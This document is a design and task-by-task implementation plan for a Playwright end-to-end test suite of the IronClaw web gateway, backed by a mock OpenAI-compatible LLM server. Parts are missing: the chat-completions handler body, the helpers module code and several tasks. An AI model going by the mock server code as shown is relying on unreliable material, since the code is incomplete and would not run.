- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
**Canned response table:**
| Pattern (regex) | Response |
|-----------------|----------|
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
| `skill\|install` | `I can help you with skills management.` |
| `.*` (default) | `I understand your request.` |
**Streaming format:**
```
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
data: [DONE]
```
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
---
## Fixtures
### Session-scoped (run once per test session)
**`ironclaw_binary`**
- Checks if `./target/debug/ironclaw` exists
- If missing or stale, runs `cargo build --no-default-features --features libsql`
- Returns the binary path
- Timeout: 300s (first build can be slow)
**`mock_llm_server`**
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
- Polls `GET /v1/models` until ready (timeout 10s)
- Yields `(process, url)`
- Kills process on teardown
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
- Starts the ironclaw binary with environment:
```
GATEWAY_ENABLED=true
GATEWAY_HOST=127.0.0.1
GATEWAY_PORT=0
GATEWAY_AUTH_TOKEN=e2e-test-token
GATEWAY_USER_ID=e2e-tester
CLI_ENABLED=false
LLM_BACKEND=openai_compatible
LLM_BASE_URL={mock_llm_url}
LLM_MODEL=mock-model
DATABASE_BACKEND=libsql
LIBSQL_PATH=:memory:
SANDBOX_ENABLED=false
SKILLS_ENABLED=true
ROUTINES_ENABLED=false
HEARTBEAT_ENABLED=false
```
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
- Polls `GET /api/status` until ready (timeout 60s)
- Yields the base URL (`http://127.0.0.1:{port}`)
- Sends SIGTERM on teardown, SIGKILL after 5s grace
### Function-scoped (fresh per test)
**`page(ironclaw_server)`**
- Launches Playwright Chromium (headless)
- Creates new browser context (isolated cookies/storage)
- Creates new page with viewport 1280x720
- Navigates to `{base_url}/?token=e2e-test-token`
- Waits for network idle
- Yields the `Page` object
- Closes browser context on teardown
---
## Test Scenarios
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
Tests auth, initial page load, and tab switching.
```
test_page_loads_and_connects:
1. Assert page title or main container is visible
2. Assert connection status indicator shows "Connected" (or equivalent)
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
test_tab_navigation:
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
a. Click the tab button
b. Assert the corresponding panel container becomes visible
c. Assert no error toasts appear
2. Return to Chat tab
3. Assert chat input is visible and focusable
test_auth_rejection:
1. Navigate to base_url without token (no ?token= param)
2. Assert auth screen / login prompt appears (not the main app)
```
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
```
test_send_message_and_receive_response:
1. Locate chat input element
2. Type "What is 2+2?"
3. Press Enter (or click Send button)
4. Wait for assistant message to appear (timeout 15s)
5. Assert user message bubble contains "What is 2+2?"
6. Assert assistant message bubble contains "4"
7. Assert no error toasts visible
test_multiple_messages:
1. Send "Hello"
2. Wait for response containing "Hello" or "help"
3. Send "What is 2+2?"
4. Wait for response containing "4"
5. Assert message count >= 4 (2 user + 2 assistant)
test_empty_message_not_sent:
1. Focus chat input
2. Press Enter with empty input
3. Assert no new messages appear after 2s
```
### Scenario 3: Skills Lifecycle (`test_skills.py`)
Tests ClawHub search, install, and remove through the browser UI.
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
```
test_skills_tab_visible:
1. Click Skills tab
2. Assert skills panel is visible
3. Assert search input is present
test_skills_search:
1. Click Skills tab
2. Type "markdown" in search input
3. Click Search (or press Enter)
4. Wait for results (timeout 15s)
5. Assert at least one result card is visible
6. Assert result cards contain: name, version, description fields
test_skills_install_and_remove:
1. Search for a skill
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
3. Click Install on first result
4. Wait for installed skills list to update (timeout 15s)
5. Assert skill appears in installed section
6. Click Remove on the installed skill
7. Wait for installed section to update
8. Assert skill is gone from installed list
```
---
## Port Discovery
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
```python
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
"""Read process stdout until we find the listening port."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
line = await asyncio.wait_for(
process.stdout.readline(), timeout=deadline - time.monotonic()
)
if match := re.search(pattern, line.decode()):
return int(match.group(1))
raise TimeoutError("ironclaw did not report listening port")
```
Same pattern for the mock LLM server.

## Future: Claude Vision Layer
Not in initial scope. Design accommodates it via:
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
---
## Success Criteria
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
4. CI workflow runs on web gateway changes and weekly schedule
5. Test failures produce clear error messages with screenshot artifacts

# E2E Testing Infrastructure Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
---
### Task 1: Project scaffolding and pyproject.toml
**Files:**
- Create: `tests/e2e/pyproject.toml`
- Create: `tests/e2e/scenarios/__init__.py`
**Step 1: Create pyproject.toml**
```toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"pytest-playwright>=0.5",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
[tool.pytest.ini_options]
asyncio_mode = "auto"
timeout = 120
```
**Step 2: Create empty __init__.py**
Create `tests/e2e/scenarios/__init__.py` as an empty file.
**Step 3: Verify install works**
Run:
```bash
cd tests/e2e && pip install -e . && playwright install chromium
```
Expected: Clean install, no errors.
**Step 4: Commit**
```bash
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
git commit -m "scaffold: E2E test project with pyproject.toml"
```

### Task 2: Mock LLM server
**Files:**
- Create: `tests/e2e/mock_llm.py`
**Step 1: Write the mock LLM server**
The server must:
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
- Handle `GET /v1/models` for health checks
- Pattern-match the last user message to select canned responses
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
```python
"""Mock OpenAI-compatible LLM server for E2E tests."""
import argparse
import json
import re
import time
import uuid
from aiohttp import web
CANNED_RESPONSES = [
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
]
DEFAULT_RESPONSE = "I understand your request."
def match_response(messages: list[dict]) -> str:
"""Find canned response for the last user message."""
for msg in reversed(messages):
if msg.get("role") == "user":
content = msg.get("content", "")
# Handle content that may be a list (multi-modal)
if isinstance(content, list):
content = " ".join(
part.get("text", "") for part in content if part.get("type") == "text"
)
for pattern, response in CANNED_RESPONSES:
if pattern.search(content):
return response
return DEFAULT_RESPONSE
return DEFAULT_RESPONSE
async def chat_completions(request: web.Request) -> web.StreamResponse:
"""Handle POST /v1/chat/completions."""

if not stream:
return web.json_response({
"id": completion_id,
"object": "chat.completion",
"created": int(time.time()),
"model": "mock-model",
"choices": [{
"index": 0,

})
# Streaming response: split into word-boundary chunks
resp = web.StreamResponse(
status=200,
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
)
await resp.prepare(request)
# First chunk: role

await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Content chunks: split on spaces
words = response_text.split(" ")
for i, word in enumerate(words):
text = word if i == 0 else f" {word}"
chunk["choices"][0]["delta"] = {"content": text}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Final chunk: finish_reason
chunk["choices"][0]["delta"] = {}
chunk["choices"][0]["finish_reason"] = "stop"
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
await resp.write(b"data: [DONE]\n\n")
return resp
async def models(_request: web.Request) -> web.Response:
"""Handle GET /v1/models."""
return web.json_response({
"object": "list",
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
})
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--port", type=int, default=0)
args = parser.parse_args()
app = web.Application()
app.router.add_post("/v1/chat/completions", chat_completions)
app.router.add_get("/v1/models", models)
# Use aiohttp's runner to get the actual bound port
import asyncio
async def start():
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "127.0.0.1", args.port)
await site.start()
# Extract the actual port from the bound socket
port = site._server.sockets[0].getsockname()[1]
print(f"MOCK_LLM_PORT={port}", flush=True)
# Block forever
await asyncio.Event().wait()
asyncio.run(start())
if __name__ == "__main__":
main()
```
**Step 2: Verify it starts and responds**
Run:
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
kill %1
```
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
**Step 3: Verify streaming**
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
kill %1
```
Expected: SSE chunks ending with `data: [DONE]`.
**Step 4: Commit**
```bash
git add tests/e2e/mock_llm.py
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
```

### Task 3: Helpers module
**Files:**
- Create: `tests/e2e/helpers.py`
**Step 1: Write helpers**
```python

```
**Step 2: Commit**
```bash

```

### Task 4: conftest.py fixtures
**Files:**
- Create: `tests/e2e/conftest.py`
**Step 1: Write the fixtures**
Key details from codebase research:
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
- Health endpoint: `GET /api/health` (public, no auth required)
- Auth via `?token=` query parameter for the frontend auto-auth flow
- The frontend hides `#auth-screen` when token is valid and SSE connects

### Task 9: README
**Files:**
- Create: `tests/e2e/README.md`
**Step 1: Write the README**
```markdown
# IronClaw E2E Tests
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
## Prerequisites
- Python 3.11+
- Rust toolchain (for building ironclaw)
- Chromium (installed via Playwright)
## Setup
```bash
cd tests/e2e
pip install -e .
playwright install chromium
```
## Build ironclaw
The tests need the ironclaw binary built with libsql support:
```bash
cargo build --no-default-features --features libsql
```
## Run tests
```bash
# From repo root
pytest tests/e2e/ -v
# Run a single scenario
pytest tests/e2e/scenarios/test_chat.py -v
# With visible browser (not headless)
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
```
## Architecture
Tests start two subprocesses:
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
## Scenarios
| File | What it tests |
|------|--------------|
| `test_connection.py` | Auth, tab navigation, connection status |
| `test_chat.py` | Send message, SSE streaming, response rendering |
| `test_skills.py` | ClawHub search, skill install/remove |
## Adding new scenarios
1. Create `tests/e2e/scenarios/test_<name>.py`
2. Use the `page` fixture for a fresh browser page
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
4. Keep tests deterministic -- use the mock LLM, not real providers
```
**Step 2: Commit**
```bash
git add tests/e2e/README.md
git commit -m "docs: E2E test README with setup and usage instructions"
```
---
### Task 10: Integration test -- run all scenarios end-to-end
**Step 1: Build ironclaw**
```bash
cargo build --no-default-features --features libsql
```
**Step 2: Run the full E2E suite**
```bash
pytest tests/e2e/ -v --timeout=120
```
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
**Step 3: Fix any issues discovered during the run**
Common issues to watch for:
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
- Timing: increase wait timeouts if SSE streaming is slow
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
**Step 4: Final commit with any fixes**
```bash
git add -A tests/e2e/
git commit -m "fix: E2E test adjustments from integration run"
```
